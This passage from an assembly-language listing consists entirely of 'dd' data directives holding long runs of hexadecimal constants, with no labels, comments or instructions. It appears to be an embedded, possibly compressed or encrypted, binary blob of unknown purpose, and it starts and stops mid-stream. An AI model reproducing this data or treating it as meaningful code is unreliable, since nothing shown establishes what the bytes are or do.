559F0EA5h, 0CF636C0Eh dd 4890AD8Eh, 0B3074504h, 99365BCCh, 0CBA14Ch, 3001DAA1h dd 8A4EEB1Ch, 29B40700h, 1033A77Fh, 0A24639EEh, 0DBA0F800h dd 70FAE712h, 10104CA9h, 0A94CF1C3h, 36892F94h, 0D80D6E6h dd 49CD6612h, 570730E6h, 0DD1FB94Dh, 4AA893h, 0DEF6A31h dd 6FE39A28h, 0CB795700h, 0EEFB2CFEh, 0F207020Eh, 50C99902h dd 4A85E800h, 0F97A6369h, 0BF901929h, 2200FC84h, 7D09891Ch dd 6499E1D9h, 3744B0C6h, 606849BCh, 2194414Ch, 790052A6h dd 4E07A510h, 565C37Bh, 2D0EC220h, 0DCB407EEh, 97D5F47Ah dd 5257D100h, 0BA40AC51h, 1C19B118h, 0E0ACAB65h, 0C13A5C0h dd 0B07DF9D3h, 39224520h, 6DC00A1h, 2AAF9EA4h, 4C31C344h dd 45A85155h, 0BC0F3180h, 0D59FA679h, 0C5A15800h, 9B9D788Bh dd 0F95606D2h, 0D8BFCA4Fh, 59CB5530h, 1C2880C3h, 0E6658830h dd 48221Eh, 1FD920ADh, 9FE40E1Ch, 0D2BA7206h, 717165C4h dd 0DC450630h, 39A25646h, 0DC829D2Ah, 0CB54A102h, 90C27ACDh dd 62EF84h, 0CCF1380h, 299AD172h, 0A63B3824h, 0FD539D3Fh dd 84FE4D03h, 0EDF008A0h, 94912B58h, 31FF7A1Eh, 8FCA9851h dd 0A3701279h, 0F82AD713h, 19DCFDF5h, 4059359Ch, 76B891B0h dd 1205F28h, 0E9A0C07Fh, 0C8D2B4F5h, 0BE070793h, 55F986DAh dd 0F070B916h, 57A788E3h, 0AD54EFFAh, 40A03AA4h, 10924468h dd 1CCD6E48h, 691EFBEEh, 0A920CA18h, 0C3281D11h, 67C9F023h dd 9300A2D0h, 0C0F3DFB0h, 5019A414h, 88987859h, 0B9C041A8h dd 0AF7F0CF0h, 1511012Dh, 4F565FE7h, 584BE2D1h, 0EC4CC288h dd 0B2B92283h, 8ED8B302h, 90B04A9Ch, 4015FB88h, 0C31A30B1h dd 4039C54Dh, 0C0DC31ADh, 0DBC4C0D9h, 38C0D72Ah, 59DE6310h dd 87FD16E5h, 616B007Eh dd 6F110B30h, 4AF12801h, 0D10E413Fh, 8ED24184h, 0BA88C842h dd 0A0B2188h, 85B69187h, 0DFF510F4h, 5C1F4CA2h, 4A259D08h dd 0E7190F18h, 948A00DEh, 381901D4h, 8C549C69h, 7214F5B4h dd 80F058BCh, 8899B74Bh, 0F1EE0074h, 0A77BA894h, 0AC240E11h dd 6456898h, 8C45844Fh, 2AC3B9B9h, 7BC47AEh, 6BA62DCBh dd 0DF79C039h, 260E86A4h, 814EA191h, 0C11131B2h, 87F29441h dd 0A0106207h, 57C7A8A0h, 6972F47Ah, 0C0991973h, 9B260900h dd 0FC0DEEA1h, 30200054h, 31679493h, 9E012C29h, 0A2D2F18Fh dd 0F030ED48h, 11448674h, 34D150D2h, 4D5513ABh, 9824FDh dd 0F28BB660h, 0AC3F69C8h, 88E080F1h, 0C3BB944Bh, 589A1540h dd 0CA0098DCh, 0E5F0F5F3h, 0EA03AA62h, 0C8719D5Ah, 6B1BD8FBh dd 13C1FE3Ch, 34651EFAh, 0FC5C80B0h, 4F0CC373h, 915AFBD3h dd 0C126248Dh, 0F0E9146Ch, 7A8693C8h, 2479B4DBh, 404056C2h dd 0A13B4013h, 11F6A788h, 1CC62DBh, 30B394EEh, 0A4507569h dd 0E77DC4Fh, 0E553D6C0h, 0A980ACAh, 61C0D2FCh, 32AEC5A2h dd 204B01ACh, 5478DEC4h, 421CF830h, 0C81F15EAh, 87EE103Ch dd 5A4EC39Fh, 38AA6773h, 0C4989044h, 0C0D3DD04h, 0F88A0166h dd 29D09918h, 0C900C49Dh, 839AE76h, 706B02A3h, 904D5C06h dd 0C94E026h, 985905A5h, 0D2398460h, 1CCA9C59h, 0E6204E99h dd 50B40DCh, 0A30262F2h, 0B10EC1F6h, 77944978h, 6D138C50h dd 0BA88073Ah, 0B763EDF1h, 0ECA04F95h, 0B7CC6B5Ah, 0C09C8948h dd 0C348BE8Ah, 441C98A2h, 0FA0CEFFDh, 207F9373h, 571A0F31h dd 9C404512h, 0BF993067h, 0E2CA91C7h, 0E8477D73h, 147BBBh dd 9B8EA6Ch, 871899Fh, 0F659240Ch, 5C107077h, 0DC05B4D3h dd 73AF462h, 8875B584h, 68020391h, 0B02EF955h, 8831D0A4h dd 0A819DB0Ch, 37C0A324h, 20005073h, 397D44EAh, 9D003B30h dd 17381B36h, 301EC47Fh, 6929D699h, 34009077h, 8148539Ch dd 986142Ch, 43AEF4A5h, 19C01C20h, 1100CF3Ah, 9351842h dd 79406B5Bh, 5CD44C32h, 88C98610h, 2E678081h, 976E7231h dd 6BF1BE1Dh, 45DD9201h, 0D8301168h, 872908CDh, 0E4265051h dd 0EC61840h, 98447FEBh, 798D3AD0h, 0D584540h, 66C381B0h dd 0A44C3A58h, 0B15B60F9h, 4A9132DEh, 54C32B0Ch, 371590Ch dd 65354697h, 60820E12h, 66FB7C68h, 0F61D3h, 0F631D857h dd 11389A4Dh, 118729F0h, 4711C6E4h, 0C15F124Bh, 0A031144Ch dd 532A03B4h, 0E70692F9h, 69A045D0h, 0B164BF90h, 208037E0h dd 689103h, 120E25E0h, 385B144Fh, 895CC873h, 8E059E8Ch dd 188858BEh, 2A4FC2Ch, 0D34D2F31h, 0DC618D57h, 5AB118Fh dd 0A423F8F1h, 0C239FB30h, 5158574Ah, 40BCA288h, 2A3B642Ch dd 64C9F4h, 0A1051048h, 0C6EB81B4h, 0D915A900h, 0E8654FDCh dd 0BCBA00C4h, 83796FF9h, 0AE06ECAh, 0F109FA74h, 8E47CEh dd 59B453A5h, 0B36406C5h, 189B09D9h, 1200FD76h, 0B2B77CA5h dd 7C947624h, 4CC50B8Fh, 805DD53Ch, 1655893h, 0CAB8031Ah dd 0CDA158Ah, 0C6795AD0h, 2F3A3300h, 0A4BE95C5h, 586463FFh dd 49008D12h, 0B4D69A59h, 78C044h, 98069E76h, 3513E5F7h dd 0F18E90C3h, 0A93901F6h, 0E30794A4h, 6C67209Fh, 2B8F5E0Fh dd 0E551F878h, 39576010h, 7A302A70h, 88802E60h, 6D27869h dd 0E5B0DAB3h, 3522318Ch, 0FAF13722h, 0ABE6C069h, 1B006C38h dd 34793EBFh, 5CB44Ch, 0EB29E2BAh, 93F2C62Bh, 8098E63Dh dd 52965BE3h, 51ABFCh, 7DBBC867h, 1BA9466Fh, 17C7D700h dd 5A229115h, 0FC560018h, 514011A1h, 1006AF5h, 0D16BA20Ah dd 288B2CBEh, 4480C724h, 0F2EC5823h, 33989663h, 87CBAh dd 0CE98BED0h, 0C337EFD9h, 0E9387474h, 3956B01Bh, 0C80F8D1h dd 0A0721936h, 49008AFEh, 0D5F7E75Ch, 9006C215h, 85D10704h dd 0C33C9190h, 86D83843h, 52098084h, 11AB6AF4h, 0D009D20Ch dd 2C6110E4h, 998A2B69h, 0D489C50h, 0E412069Bh, 300A5913h dd 1D6C2B15h, 0C6C41EB8h, 0A9452A00h, 88966D24h, 0BCE17FFBh dd 4B2E7431h, 0C8224F40h, 38015AF8h, 0BC5E6242h, 29B620D5h dd 0AE005968h, 0EA0EE8BDh, 5F5D32h, 3AB36CE5h, 89D35CBFh dd 0C13C4B77h, 438E1F64h, 11BC3D0Ch, 9D130056h, 7759CCF6h dd 8E0155DEh, 0D965FBC0h, 0A74080F0h, 0E268BBC9h, 40A306BDh dd 68BC0146h, 0D84E5A03h, 0C2E39D10h, 44244426h, 0E5609AFEh dd 3A7D057Ch, 0C8778ACh, 5FAD4CFAh, 8B00CFF0h, 53835874h dd 0C59375h, 0A61D073h, 494068A0h, 56E20C00h, 0D7BC8D21h dd 5895614Eh, 50B61BF4h, 2F666ECCh, 470FEF00h, 7F6D9692h dd 32E41408h, 272A4898h, 97900098h, 0FDD27F29h, 850019C3h dd 0B97E144Dh, 6E165EBh, 0F16F2DF2h, 0AA00C1F3h, 0F61E9E09h dd 1CBCF5h, 4C96FA15h, 2E8E940Dh, 0DA29EC60h, 73B5BA2h dd 726FC698h, 733AF084h, 7100DE78h, 0A750CD8Fh, 52C4F725h dd 56009496h, 55AC5387h, 0B279E343h, 36479E00h, 0A5499067h dd 199300F5h, 0F98F7AFEh, 6924D6F4h, 41354C1Fh, 6D4F4401h dd 40237F2Bh, 9F1F6057h, 8A03208Dh, 89736DAAh, 0BC881334h dd 0E02C278Fh, 0D2903C4Bh, 5B016DF0h, 2B6FC4E1h, 0F88AA7BCh dd 309DFA13h, 0BDB3EB79h, 27E3412Ch, 2836EE00h, 18454D3Ch dd 0F8A49C04h, 791269D8h, 580A24F8h, 6583DC3Bh, 3F2797F6h dd 9B007E49h, 140D0799h, 0D2004158h, 4E5CDE8Fh, 0F722343Dh dd 0E0A46EC9h, 155A4058h, 2D7C753Bh, 0A00D783Dh, 4AD1078Fh dd 0B0FBDA4Eh, 0EF1996BBh, 0F7828B01h, 0F82F636Fh, 0FB70F830h dd 0C5E38980h, 0A3D88B58h, 0C311D900h, 7A6D8D6Eh, 0C0614C33h dd 20F3B11h, 0BDB0D570h, 0FC844D2h, 24C2922Ah, 339925ACh dd 4F074891h, 8F20E583h, 67D995h, 0B0EA0521h, 557346B2h dd 68272E24h, 6124960Ch, 2C5860C7h, 903025D8h, 8FA97F07h dd 9ED01E3Ah, 6F1253A8h, 0F50069EBh, 0AFC609B6h, 5295EE00h dd 0A86BB049h, 91FA03D6h, 0F4F2C293h, 8CCBA900h, 0D3995C21h dd 0E01307ECh, 5774E2A6h, 7588011Dh, 0C47C3495h, 910E9730h dd 8366DAh, 0F5D5DF05h, 2CFCD8F6h, 29EC3913h, 0D1063A0Ch dd 3C714824h, 78704383h, 0D39FC18Dh, 0FE81BBF0h, 2A08F307h dd 0F4B04D15h, 99583767h, 51C240A8h, 0F06042CAh, 60F45958h dd 9529C633h, 0F800990Dh, 7D92B5A0h, 0C15C22h, 0E7DF876Bh dd 458FD40Ah, 0E60D1807h, 5B110FB0h, 21C4F1CFh, 7F79C4h dd 56440E4Ch, 65748670h, 87255038h, 768712B1h, 83241039h dd 286301D1h, 0A301028Ah, 0F62DF895h, 353C5376h, 0B6B4009Dh dd 32983738h, 0CAF72AFDh, 2E0D1C08h, 6C4006Fh, 7B89AFD1h dd 0CF4F9400h, 18D96E83h, 7CE4ABE7h, 6C9151h, 0F4741E73h dd 5964BF69h, 944053F9h, 1DFABC4Bh, 50EE3648h, 0B0C0D121h dd 0A8299FC2h, 0C8B85017h, 51F4657Fh, 0C868C833h, 73D50F0Fh dd 87E18B85h, 80CE1D5Ch, 51F453AAh, 6109AB9h, 0E5FC8F6Eh dd 8E2E390Ch, 0F7605479h, 13052EC9h, 59E1B8h, 0CFF63910h dd 47005DF3h, 2487F940h, 6213E685h, 25F14134h, 7DCBF0A0h dd 0BF00D960h, 0EDD5664Eh, 700A2BC4h, 0A6670070h, 44F35ABAh dd 0C1C1B613h, 85D61297h, 17F66434h, 315A0FE5h, 72837708h dd 0B41D39C4h, 0E437D096h, 1E80EB0h, 899104F0h, 0C819A1C4h dd 2A4CC9BCh, 5D5200D0h, 0AF4E769Fh, 0B8B1043Bh, 0C7194BFBh dd 8ABF361h, 3C2CD12Ah dd 4361D465h, 20F0D082h, 4F98548Ah, 683D83Ch, 159C89CEh dd 0F1661811h, 1B429F8h, 0BA102F00h, 0ADDBAC32h, 0F2A30BB0h dd 6C229A5Eh, 9524BD5Ch, 3D18C888h, 7D9744h, 0EC9D049Ah dd 0A4EA6D7Dh, 87502498h, 1134E5ECh, 38403165h, 2355A5DDh dd 33FC00DAh, 0E778933Ch, 40043B7Ah, 188B2B68h, 0E9801888h dd 69307700h, 26AAD800h, 377A4DCFh, 82E90735h, 0DFE1D1D0h dd 22557821h, 1480A639h, 0BE548401h, 90601C14h, 0FC5E513Bh dd 6767F5E8h, 6ED1B5h, 9E8715BCh, 707F7301h, 0AE557D8Fh dd 60338C60h, 0A61A81B9h, 46005311h, 0FD286920h, 0B0656F4Ah dd 966C1104h, 164F058Eh, 0E0D72669h, 0BA1124AAh, 0AB668F00h dd 2CD51FFFh, 0B9F84600h, 14BCF987h, 0C5E4001Dh, 0CAF429FCh dd 161F969Fh, 7207DA04h, 5BB0D5A7h, 8A531Ah, 7EC26A7Dh dd 0BB460EC9h, 0A851CC1Ch, 316C3383h, 0F6CE881Ah, 90480027h dd 87A96D54h, 0AA0E5B5Fh, 8059CFA1h, 561ED68Ah, 9773000Dh dd 47A51D19h, 32069DF1h, 0A0F5E4BFh, 0B6DA1811h, 8BF62950h dd 91758AE8h, 7E29EA03h, 0B4772B31h, 453BDCA4h, 966DF053h dd 4B763388h, 8838023Dh, 0C6049B09h, 0A25E14C0h, 0E0708084h dd 0D904C18Ah, 0FF4310CEh, 5820147Eh, 0CC866Eh, 215540E0h dd 660CC037h, 83F4993Eh, 0CF726CE4h, 0ACDAD85Bh, 361C0324h dd 6541F97Dh, 2F384DE8h, 0FF1350E2h, 282011DFh, 2B92568h dd 6F8ECCE3h, 90E85576h, 52441897h, 23B100B9h, 0F4805670h dd 7516D16Fh, 5840BBDDh, 95601A39h, 58797F68h, 0B384C098h dd 65A4A4D1h, 2438F926h, 1178E110h, 24187Eh, 0C4B445DDh dd 0B037DA33h, 0C226072Dh, 0B0AD0493h, 1A15D142h, 3155D231h dd 0E0321DD9h, 35DB0D0Bh, 344B8800h, 0C0A81BF4h, 79058564h dd 0F3365A2Ah, 1792ACC3h, 20440D19h, 0B3DA6CB8h, 0D271DD1Dh dd 9D7F4107h, 84F31FA2h, 14810187h, 0FAE417F9h, 0FBE60A8Ch dd 870AA69h, 129226A4h, 0C0A00822h, 17F31Dh, 0DC889C3Bh dd 6E4A1AE8h, 96713C0Fh, 2DD680DEh, 5283BCh, 61543FDh dd 0D18E9856h, 480F024h, 1218F211h, 1CBD59E6h, 4516E101h dd 0E4AAD147h, 128899CEh, 0C42830Ch, 6CB17Ch, 0CCBE1492h dd 0DA0037C1h, 0D965A08Ah, 0B8A493B3h, 1FC8440h, 78726D48h dd 0E3D1BFA1h, 67978905h, 97C27688h, 5308E077h, 940C5893h dd 944D7C48h, 900F2B22h, 40685FEEh, 0A056B9Ch, 69EEE4Fh dd 13E3A133h, 7053299Fh, 8A3B1E9Ch, 602585C0h, 965E7Eh dd 0CE9E761Ah, 1E9ADE32h, 2A7B7C01h, 6961399Ch, 0B040A021h dd 0EF066EABh, 73139428h, 39C09188h, 80806259h, 5BE6017Dh dd 4E4B0071h, 6F655CEFh, 7FF6A83Bh, 0E7148A00h, 0ED29D9F6h dd 40626077h, 1B515435h, 5C0014B8h, 634CFA22h, 21E119h dd 3D17DD62h, 3CC85E3Ah, 0AE363B00h, 9271295Ah, 19610CDFh dd 0F2193896h, 4600ECA4h, 28B7F717h, 15522790h, 0A4823192h dd 74D90074h, 0EF39AF5Ch, 2B0034CDh, 87E6A43Eh, 50B9D589h dd 33ABB59h, 0B2B75DDEh, 0BCD07879h, 61C0F5D7h, 14FB2783h dd 10F90491h, 84A895FEh, 0D74CE038h, 58F4C444h, 0B3860C53h dd 809819ACh, 78813D50h, 30FD652Ch, 76848680h, 902455C5h dd 0FF1518FCh, 131438B5h, 1948FA02h, 52400EF4h, 0FDD1302Ch dd 0C0576551h, 0E86E7201h, 0E25490Fh, 0C2A2260h, 0B4E1166h dd 98B1F2C8h, 8258F900h, 283F7CAh, 9334C13Eh, 4090576Bh dd 0B200FB0Eh, 8A7132ABh, 119E5A1h, 16EAE78h, 89E96572h dd 44A4BCB9h, 2A333070h, 0C6796EF1h, 0F536F702h, 0A193A58Ah dd 0F62E17C0h, 0BB242C33h, 0A6530474h, 80254859h, 0C7DF1BB2h dd 0D9033C9Ch, 9E28ED07h, 68E40023h, 0B48CB826h, 67B067BBh dd 7FE03604h, 0FCF3B0BAh, 0DC58C43Dh, 16D5900h, 54C6282Ah dd 8E021CB0h, 6F2CAD56h, 0F05864F0h, 5F680644h, 91BC6EDBh dd 553A6700h, 42277BB1h, 0B0350284h, 7A2A1AFAh, 768FDC40h dd 914A7000h, 0CA8758D1h, 48FB776Eh, 0E406329Ah, 10EB6DD2h dd 2E0D5203h, 0C87C8Bh, 0E69BC571h, 0B866FBDDh, 0C49502F1h dd 0B0B6050Ch, 0B07F239h, 44B2FDB8h, 0C4144880h, 0D5138EFBh dd 0FC43E249h, 0D9ECC5E3h, 518F8F53h, 711BF16Dh, 0BEEBAE0h dd 0CE00BB90h, 83C7BE78h, 2431E46Dh, 6C64D6F6h, 0D29F431h dd 3C11CCA7h, 80879F00h, 0B2626905h, 0B0A3181Ch, 297291C0h dd 2644BCh, 9916E89Dh, 208FB309h, 61E138C0h, 4A106B72h dd 702840ECh, 48D39143h, 6A712Dh, 0C4A8E264h, 5084054Ch dd 0D2B3F1A7h, 39218178h, 3F6006FEh, 8200062h, 0FB035FFAh dd 0E0BD486Dh, 423377Ch, 7DA28361h, 0C910F1E6h, 0A986138Eh dd 8385D75h, 89C4C2Ch, 1981B6ADh, 0E7E29694h, 8AD430h dd 29D0E0A7h, 6235A192h, 55D30F18h, 162A1C28h, 4604BF7h dd 21AC51CCh, 121121D7h, 0DB4420B7h, 7B38E700h, 9EA2ABFFh dd 3DFB7D37h, 84001E4Eh, 0F59F69Fh, 89003156h, 34BACAE1h dd 2C2545DEh, 399511DDh, 0FC38A83Ah, 0D2BFAF80h, 58C1526Bh dd 0A5121B77h, 920088DAh, 1C7418Bh, 774038FFh, 9250D031h dd 1DEC0CB3h, 8012585Fh, 3EDCFF8Eh, 2E619652h, 0ABC7A020h dd 79165080h, 253BD5B7h, 2DB5C40Fh, 688FE18Bh, 7080B3B2h dd 71F824ABh, 6E00E78Dh, 1545113h, 127A353h, 894FFC08h dd 81A855A0h, 0F9CCDB50h, 0B3CC1FE8h, 0AE4C0027h, 0A9146AC7h dd 0B24CE082h, 88F803FBh, 71E54126h, 688760B0h, 9B7CF3A5h dd 0DD634F00h, 434E4180h, 0B7050016h, 76258BC2h, 68E831E2h dd 46EDA606h, 0F795AA0h, 5B510543h, 45785701h, 4A8609Eh dd 3B6D6E00h, 0B1C66394h, 58B1884h, 0D28D9B5h, 0E4A38F26h dd 99BAB200h, 591E737h, 0C6D6C07h, 2554C082h, 1A0058A8h dd 9D14851Fh, 0D6268Ah, 0F6F7EA90h, 0F8912468h, 0DED8F550h dd 23D8730Ch, 2AC9D183h, 0DCBD45h, 4AF2468Bh, 0F37EF77Ch dd 0DEFF1000h, 0ACC99805h, 0A9E2019Fh, 0A3AB89DAh, 0D62F86Fh dd 0DBA0FA18h, 0E2591841h, 74151E24h, 0A7930005h, 0F386F2CFh dd 0EB4F0C01h, 0AA47C9A2h, 0CDA33180h, 446A7399h, 0A002FA00h dd 0A919584Dh, 39B9002Ah, 0F8BD0EAh, 1E000C10h, 42256CE8h dd 519745E1h, 0CAD58CB6h, 60009371h, 7CCF9A5Fh, 0DB860A2Eh dd 39CC02A2h, 0E34C3905h, 6DB040CBh, 21559CCEh, 8F19791Ch dd 6A870140h, 65FA458h, 8C28ACE0h, 4E0550F6h, 0CCDE9D1Fh dd 1CAA9840h, 6CEB24h, 8FB2DA09h, 5553B4E2h, 46A37300h dd 69A008F6h, 9FED0006h, 3A0F250Eh, 6F1E15D6h, 39006B6Ch dd 855FB641h, 4FF000B1h, 0CBC32A0Bh, 0FF001CE2h, 0DCFDEDD1h dd 40F86h, 8A28CC6h, 25E907CDh, 69DF2603h, 0C8DE94h, 40603891h dd 67255A4h, 8F522101h, 22141590h, 713EAAE0h, 7E90A8A7h dd 6A7900C2h, 3C8D64C7h, 9300C38Ch, 17454E47h, 24B0DE54h dd 87BC8F04h, 47AC3F8Bh, 0DB344359h, 94457000h, 5843B740h dd 0C7160FCAh, 22C6E37Ch, 0A77D915Ah, 70057892h, 3F315237h dd 25B644C0h, 74FF00FAh, 262429D2h, 99C0F495h, 0DDBD3EABh dd 0F1015CD7h, 0CFB65350h, 0BA608E51h, 0D162A6A1h, 60DB9F00h dd 4745193Eh, 0E2590156h, 92F42E10h, 0F798024h, 0FB520639h dd 44A63C8Bh, 11051118h, 0C061A7CDh, 2C3F5BE1h, 269080D3h dd 8684AC98h, 0E7700B0h, 0E0BAD23Dh, 47005CE3h, 0D0A81F05h dd 9612621h dd 724DA7B0h, 63B58C00h, 0E2EC59Bh, 0DE1274A1h, 27593803h dd 45E93EBFh, 60D8690Fh, 6E3C6FC7h, 0CC03F9A9h, 3C159DFh dd 0CAF60786h, 4D150F81h, 7520FE70h, 0F8B9F404h, 7672B609h dd 0BB4C0439h, 274B2E40h, 9600A8AFh, 7832C05h, 1A1F6F1h dd 4CE5FF86h, 435B9AD5h, 31A845DCh, 2210D87Eh, 0DB0689FDh dd 0A9A1E398h, 0BFDD9C80h, 84580113h, 0F30EEC21h, 70B4E03Eh dd 0EAC8F000h, 0A4F86DEh, 0A75F00BCh, 285EE16h, 0AB0ED52Ah dd 9DF1C58h, 0CFC0009Ah, 77603CC4h, 0B9321987h, 0E33E78FAh dd 0F9CD80E0h, 0D72A6900h, 66CEEBEh, 78AF0F5h, 0E096F840h dd 0A94180DEh, 6E056B3Eh, 0F9A0D294h, 9A8CE440h, 0C44DC8h dd 24473CDFh, 9508A989h, 5B05E000h, 0DC3D12B1h, 1353736Dh dd 21255AF0h, 50D3DEB0h, 0EE0D1AA0h, 1762AA00h, 0E7DB85Fh dd 27C60C97h, 47688182h, 0A1FB88A0h, 3BC7D344h, 698074E0h dd 0FF4B2FF1h, 1F1F9144h, 0F06A3BC5h, 9DFDF021h, 0A90020B6h dd 18D221F1h, 899CF9h, 8E6399C8h, 3B1D167h, 7D3A237Eh dd 0E7938747h, 0B80045A9h, 106AD88h, 0BE2DF343h, 0E1B0ABC2h dd 608457E2h, 81678959h, 0FABFD500h, 941AF569h, 0B046FCAEh dd 430D00B8h, 0B0EF89D4h, 98925E4Dh, 26D86812h, 73EF05Eh dd 1A259DB1h, 0E2186BFh, 5BA73019h, 0E9DE5C31h, 2A241706h dd 6218BD8h, 64DC2C07h, 0DF021184h, 0A06E97E9h, 59F86877h dd 0BC8F5228h, 400B522h, 0DC65909Fh, 3FFF144h, 5BEF5213h dd 80F538CFh, 0B08ABFD0h, 22404C50h, 3ED32B39h, 0AC3C3AC6h dd 0F8086898h, 0E1089C89h, 1999B001h, 4DFC2530h, 2B451E29h dd 9BF500B4h, 21DC7364h, 4CDF9700h, 94B68987h, 47C92D0h dd 231D4709h, 452CC899h, 82A1FD3Eh, 0A049DC54h, 81A0905Ch dd 0E1FB1C1Eh, 0E262C72Ch, 7E98B097h, 8D00348Bh, 577FF522h dd 0A883B26Fh, 0A880DEB4h, 695080h, 965B3C3h, 89AD64B7h dd 0F301CE00h, 0FAA1FF46h, 8D2B0123h, 0B09DEA80h, 1CD0325Fh dd 5B4544B7h, 0A8D0EB15h, 0C349B5A3h, 8A6FDA59h, 70895AD9h dd 80ED0B28h, 693FB019h, 98D43063h, 864CA34Ch, 0A358FC99h dd 0BE25E16Ch, 1810D855h, 56D3052Ch, 0D4D4418Dh, 85D170C4h dd 0A8E36054h, 5223A115h, 47009C6Fh, 820301AFh, 87062F53h dd 0BF25D86Eh, 2C20B351h, 56E7004Eh, 37779101h, 0ADD55E03h dd 0F01CDF27h, 2FC150Fh, 457F7A5Bh, 0BCE4DB4Eh, 0A9DFB271h dd 66B9E583h, 5B0FE056h, 28BB0022h, 5901F8D6h, 70006167h dd 90F237FFh, 0EE6AC2h, 74FD0FBFh, 0A56733E5h, 726E8A0Eh dd 211F2FACh, 0AFA0EC83h, 718DA180h, 0CE276A1Dh, 6CBF6300h dd 0C56BE9Ah, 0EB8C01BCh, 921651ECh, 2EA432E9h, 0D000F9A2h dd 0F9B8E017h, 0C0843A28h, 56A0470Ah, 155F8090h, 0E5E02B7Bh dd 54F06C00h, 67092FC0h, 53EFE2Eh, 0CA94F108h, 0D84402DDh dd 0CC44CD39h, 6D0094BAh, 0E45CF276h, 0CBE29h, 0F64446E6h dd 0FD7C2523h, 0C1D86849h, 0DB2EDC5Ch, 0D4808917h, 0C2D9CA4Bh dd 0C7AC69D0h, 809F61C9h, 397FF286h, 9D0B006Eh, 0FCEF5460h dd 8E7FCB10h, 74DEFA0Ch, 30FF508Dh, 4649D0A0h, 0C906D578h dd 5FA3377Bh, 0F25D07F9h, 4416384Bh, 0D7AC8098h, 0FC01F72Eh dd 205B6AC8h, 8180BAB2h, 27E7608Dh, 32005E3Bh, 0D1DEB409h dd 58F84B7Fh, 1DDDC40h, 0D3E95AFBh, 0AB46EC21h, 0A0F848h dd 8ADDBC77h, 0D46A9B5Dh, 0DE15E4F1h, 1C1E8082h, 0B9D240FCh dd 0DB5D83EFh, 2128084Dh, 20B216DAh, 0E22AB8E4h, 0F1981E09h dd 0CFA08489h, 0D1400852h, 0B03029BEh, 0E189DE00h, 0EC34A84Ah dd 12DA7BA9h, 8B6BFE6h, 709EB160h, 6E1B93C0h, 0AF1341h dd 1AFA3DFDh, 68EC285Eh, 0EA4D0100h, 6EE712ABh, 43604B2Ah dd 26DDD24Ch, 60588493h, 0C422E4h, 0F8742468h, 202E9A92h dd 0BCB941Ch, 78951900h, 6F27D8h, 62E7B104h, 0AEDCCA47h dd 10B678A1h, 6599D3h, 1E436CA4h, 5ED5D087h, 0FE2A201Ch dd 63F2F044h, 0A8FF888h, 0C4AF39B2h, 0C8A74450h, 0EB1F672Ch dd 0E440EEB0h, 3BD694B7h, 47DF2A41h, 0D481E260h, 4600E239h dd 0B27687C1h, 0F4984508h, 18EC0BF2h, 0A0F7F10Ch, 40B1D8h dd 0A12B82CBh, 0F55F8C66h, 629CAA1Dh, 5AF82EC3h, 0AB292E5Eh dd 0C4C50820h, 19A6A70Ch, 2E70069h, 27F8CB49h, 470781A9h dd 0D28B4E77h, 0A9B2D332h, 1E0C40D8h, 0DB3722D8h, 8169FF06h dd 131107B0h, 91B36EDAh, 0F4662150h, 3800E4E8h, 0FA353123h dd 0BCD020h, 1A4CF33Ah, 97C68058h, 0BC53BF3Ah, 0BE607E46h dd 0E6B05299h, 0E59DE4Eh, 5EE37BAAh, 0D380A982h, 0BE692C5Fh dd 0B1788198h, 15CF38DBh, 0BC34A289h, 0B8604100h, 29F99CA9h dd 89822300h, 4D06CDA1h, 0A63D006Fh, 91F2EC65h, 133D268Ah dd 0EE0839Ah, 27223F59h, 0A410A9E9h, 190067E4h, 963F8762h dd 1F9A7C7Eh, 0C1C6337Ah, 0ED73E2DDh, 23106029h, 0FA0EA002h dd 0C4FC22D8h, 0AAD322D4h, 5FF6A201h, 5C9DDFF4h, 176CB07Ah dd 1803E44Ah, 99EA10Fh, 4CF4D119h, 0D7AAB010h, 0FCFC4E2Eh dd 585F204Fh, 0B188AE9h, 4686A25Bh, 13B61402h, 5968B00h dd 4FE10259h, 0A284A0F8h, 32DE14E9h, 11E400A8h, 861C7B33h dd 8FEF004Dh, 27753D18h, 1F0762B1h, 635296F8h, 8A0EA07h dd 99FF0FE7h, 16B01CF8h, 3DA02223h, 7C8178E5h, 52199571h dd 9AACF0h, 872A4365h, 49DFB11Dh, 9B619304h, 98A4B734h dd 9E93B68h, 82F99713h, 8A20AB78h, 4EFFD446h, 45502012h dd 57003D77h, 0EA1B2E5Eh, 0D26D7DAh, 0A37C466Fh, 82F83010h dd 4501D844h, 0DC844D5Fh, 0C3007B84h, 0E239EB02h, 75FFC32h dd 0CA19770Ch, 89280CA4h, 4923DB37h, 0B0ABE089h, 0A1536206h dd 0B4525159h, 54A3452Ch, 0F58E8540h, 6AF301CCh, 9579A4FEh dd 87AD4546h, 0A82492E4h, 29A7DE02h, 5F85A404h, 87804114h dd 4281AD77h, 9080A758h, 591FEAA1h, 74B2EC2Ah, 0D8EE6095h dd 3C5C493Fh, 0F153A018h, 1907AE28h, 6E8179EBh, 90A771E0h dd 776A181Ch, 0A09CE847h, 0FC87182h, 0E676F70h, 8F906032h dd 5A023106h, 58198E41h, 46D08374h, 30138CA2h, 7B44F660h dd 7400937Bh, 3FCF6909h, 326D4DBBh, 0ACA00E1Fh, 882C262Ah dd 83627C40h, 42922477h, 0F46000F3h, 85761ACDh, 3908BF0Bh dd 0ACA084C7h, 660CEB40h, 11003E1Ah, 0F9019BD9h, 4B4F8D3h dd 26FB8219h, 457C833Bh, 58085294h, 8A688FC6h, 89A7D0A5h dd 3690F8DCh, 85A93F02h, 0E08B68F8h, 5C9E77F8h, 47C0602Bh dd 3E1F1EF5h, 9BE78600h, 0AF088F92h, 0D3761E06h, 46C509B6h dd 423884E0h, 696E6F12h, 0BEDF1C20h, 10D20189h, 0FE21DBB6h dd 40F451C5h, 0BBB211D9h, 0E8FBA450h, 50100161h, 5AF6AE55h dd 302D08h, 0F07A7288h, 0A86A6CB1h, 9C941F30h, 0C97343A8h dd 0CDF2ACB0h, 8C2B4301h, 0C2AF6FEh, 20DEC3E0h, 0CA148A20h dd 2240D840h, 0CEC000B4h, 120A03A9h, 267FE15Dh, 7C90DB76h dd 74BF8A22h, 4CAD882Bh, 0BA6E4B16h, 2030F416h, 256A3B7h dd 20D4148Eh, 0F466B086h, 1BF0F00h, 5D15F3E2h, 0B20800F0h dd 33EEAC1Dh, 492ECA44h, 9C2E6CA2h, 0DFB34F40h, 5B90001Dh dd 0BD3350C5h, 0ED73407Eh, 2A96B001h, 0B81FE6A0h, 0A06AC0F4h dd 53A88C0h, 0B9E7FD2Dh, 0D7B88C89h, 0F1F37705h, 58416B18h dd 0E92226F7h, 44B7930h, 0F92B9449h, 29ECE3B3h, 0FD0098A7h dd 